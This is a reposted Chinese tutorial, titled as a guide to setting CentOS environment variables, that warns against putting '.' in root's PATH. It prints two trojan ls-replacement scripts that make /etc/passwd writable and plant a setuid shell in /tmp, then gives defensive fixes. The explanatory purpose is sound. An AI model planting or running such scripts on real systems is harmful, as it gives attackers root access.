广告
返回顶部
首页 > 资讯 > 精选 >怎么在centos中设置环境变量
  • 365
分享到

怎么在centos中设置环境变量

2023-06-10 03:06:45 365人浏览 安东尼
摘要

这篇文章将为大家详细讲解有关怎么在Centos中设置环境变量,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。命令操作如下:[root@rh root]# PATH=$PATH:.[root@r

这篇文章将为大家详细讲解有关怎么在Centos中设置环境变量,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。

命令操作如下:

[root@rh root]# PATH=$PATH:.

[root@rh root]# echo $PATH

/usr/local/sbin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin:.

这下是方便了,直接输入脚本名就能执行。OK,正常情况下一点问题没有,也省去了输入./foo.sh的烦恼(foo.sh是我假设的脚本文件名)。有的root把PATH=$PATH:.这条命令加到了profile里,使所有用户到分享你给他们带来的"福音"。更有胜者root用户竟然PATH=.:$PATH(将":"加到路径前是另一种形式)。正常请况下一点问题没有,直到有一天,张三用户在他的主目录下放了名为lls的脚本,并对root说他的系统出问题了希望root能帮他解决。(其实是一个trap)。Root一上来就su 成管理员权限,紧更着列了一下目录。有可能管理员误敲成了lls,结果哈哈。。。。

以下是个简单的C shell 的例子

#!/bin/csh

If ( ! -o /bin/su )

Goto finish

cp /bin/sh /tmp/.sh

chmod 7777 /tmp/.sh

finish :

exec /bin/ls $argv | grep -v ls

稍微变形就有个B shell的

#!/bin/sh

if chmod 666 /etc/passwd > /dev/null 2>&1 ;then

cp /bin/sh /tmp/.sh

chmod 4755 /tmp/.sh

fi

exec ls "$@"

如果root将其环境变量$PATH包含了"."并且其位置先与ls所在的系统目录,那么当用户在/tmp中执行ls时,执行的是上面给出的脚本,而不是实际的ls命令,因为最终还是执行了ls,所以root不会看出有任何异常。如果是root执行了该脚本,就会将口令文件设置为可写,并将shell复制到/tmp保存为.sh,同时设置其setuserid位,所有这一切都非常安静地发生。

在以上这两个程序里,心怀不鬼的人能写入任何令root急的要跳楼的程序,部下陷阱等root来钻,也许root在不知不觉中施行了也根本不会察觉。 也许在张三的主目录下有一个名为ps的脚本里面包含有危险脚本,root可能一到他的机器前就输入了ps,此时系统会首先到当前目录下搜索,结果/sbin/ps却不被执行。类似这样的小花招还有很多。

管理员同志,不要太紧张,下面我说说解决办法。

首先,要养成输绝对路径的良好命令行输入习惯,这样就不会让"不法份子"乘虚而入了。比如,列目录最好用/bin/ls来列目录,不要图方便而冒然输入ls。

其次,根用户(root)不要把"."包括到搜索目录列表里,而普通用户如果个"."包括到搜索列表中的话别,则"."就应当放在搜索目录列表的最后位置上。这样一来普通用户不会受到前面所述的那种危害。

最后,可以在登陆时在/etc/profile 和bashrc .profile文件的末尾添加如下一行

[PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://' `

这个简单的sed命令将删除路径里所有的"."包括其另一形式"::"

还可以由crontab调用定期执行

#find / ! -fstype proc '(' -name '.??*' -o -name '.[^.]' ')' > point.txt ; mail -s 'this is a pointlist' root@localhost < point.txt

关于怎么在centos中设置环境变量就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

--结束END--

本文标题: 怎么在centos中设置环境变量

本文链接: https://www.lsjlt.com/news/259116.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • 怎么在centos中设置环境变量
    这篇文章将为大家详细讲解有关怎么在centos中设置环境变量,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。命令操作如下:[root@rh root]# PATH=$PATH:.[root@r...
    99+
    2023-06-10
  • 怎么设置环境变量
    本篇内容主要讲解“怎么设置环境变量”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“怎么设置环境变量”吧!很多人都知道环境变量,很多人也在使用环境变量。但是很多人一说到在 Linux、macOS 中...
    99+
    2023-06-15
  • Python中怎么设置环境变量
    Python中怎么设置环境变量,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。Python设置环境变量的具体方法在系统变量里找到PATH,双击PATH,在结尾加上 "...
    99+
    2023-06-17
  • Tomcat中怎么设置环境变量
    Tomcat中怎么设置环境变量,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。一、工具:在配置tomcat之前需要配置好JDK的环境 。JDK配置可以参照博文《W...
    99+
    2023-06-03
  • Redhat中怎么设置环境变量
    这篇文章将为大家详细讲解有关Redhat中怎么设置环境变量,文章内容质量较高,因此小编分享给大家做个参考,希望大家阅读完这篇文章后对相关知识有一定的了解。有些命令的路径没有在PATH环境变量中,可以用echo $PATH命令查询得知,添加路...
    99+
    2023-06-17
  • ubuntu中怎么设置环境变量
    ubuntu中怎么设置环境变量,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。一:用于当前终端:在当前终端中输入:代码如下:export PATH=$PATH:&...
    99+
    2023-06-13
  • CentOS系统中怎么配置tomcat环境变量
    本篇文章给大家分享的是有关CentOS系统中怎么配置tomcat环境变量,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。下面设置CentOS系统中tomcat相关的环境变量]# ...
    99+
    2023-06-16
  • eclipse环境变量怎么设置
    要设置Eclipse环境变量,可以按照以下步骤进行操作:1. 打开Eclipse,点击菜单栏的“Window(窗口)”选项,然后选择...
    99+
    2023-09-11
    eclipse
  • 怎么设置php环境变量
    本篇内容介绍了“怎么设置php环境变量”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!php环境变量的设置方法:1、运行“D:\phpStud...
    99+
    2023-06-20
  • conda环境变量怎么设置
    conda环境变量设置步骤:1、找到conda的安装路径;2、打开“系统属性”对话框;3、在“系统属性”对话框中,选择“高级”选项卡,然后点击“环境变量”按钮;4、在“环境变量”对话框中,找到“系统变量”部分,然后滚动到“Path”变量;5...
    99+
    2023-12-09
    conda 环境变量
  • java怎么设置环境变量
    首先右击【计算机】进入【属性】然后选择其中的【高级系统设置】点击进入【高级】中的【环境变量】,进入环境变量编辑界面推荐视频教程:java视频教程在下方的【系统变量】中,并不存在JAVA_HOME变量,那么我们需要点击【新建】变量名输入:JA...
    99+
    2019-02-28
    java入门 java 设置 环境变量
  • Rust怎么设置环境变量
    本文小编为大家详细介绍“Rust怎么设置环境变量”,内容详细,步骤清晰,细节处理妥当,希望这篇“Rust怎么设置环境变量”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。Rust 语言是一种高效、可靠的通用高级语言。...
    99+
    2023-06-28
  • JDK1.8环境变量怎么设置
    本篇内容主要讲解“JDK1.8环境变量怎么设置”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“JDK1.8环境变量怎么设置”吧!JDK1.8环境变量export JAVA_HOME=/usr/lo...
    99+
    2023-06-02
  • ubuntu怎么设置环境变量
    在Ubuntu中设置环境变量,可以通过以下步骤进行操作:1. 打开终端,使用以下命令打开`~/.bashrc`文件:```sudo ...
    99+
    2023-08-25
    ubuntu
  • MySQL在Windows中设置环境变量
    在桌面选择“计算机”的图标(或者是我的电脑),右键-->属性-->点击“高级系统设置” 然后选择 高级  选项点击环境变量 然后点击新建-> 变量名为MYSQL_HOME 变量值为mysql的安装目录(一定要在系统变量下新建变量...
    99+
    2019-02-06
    MySQL在Windows中设置环境变量
  • Linux中怎么设置JAVA_HOME环境变量
    Linux中怎么设置JAVA_HOME环境变量,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。问题:我需要在我的 Linux 机器上编译 Java 程序。为此我已经安装了 JDK...
    99+
    2023-06-16
  • centos怎么查看环境变量
    在CentOS中,可以使用以下命令来查看环境变量: 使用`echo`命令加上`$`符号来查看特定环境变量的值。例如,要查看`PAT...
    99+
    2023-10-28
    centos
  • CentOS怎么添加环境变量
    本篇内容主要讲解“CentOS怎么添加环境变量”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“CentOS怎么添加环境变量”吧!在 Linux CentOS 系统上安装完 MATLAB 后,为了使...
    99+
    2023-06-10
  • 如何在Python中设置环境变量?
    在Python中,环境变量是一个非常重要的概念。它们是全局性的变量,可以被不同的程序访问,并且可以在程序运行时被修改。在本文中,我们将学习如何在Python中设置环境变量,并演示一些示例代码。 一、什么是环境变量? 在计算机科学中,环境变...
    99+
    2023-11-01
    path git 数组
  • win10怎么设置Java环境变量
    这篇文章主要讲解了“win10怎么设置Java环境变量”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“win10怎么设置Java环境变量”吧!方法/步骤:右键此电脑,打开属性选项,随后进入高级...
    99+
    2023-06-27
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作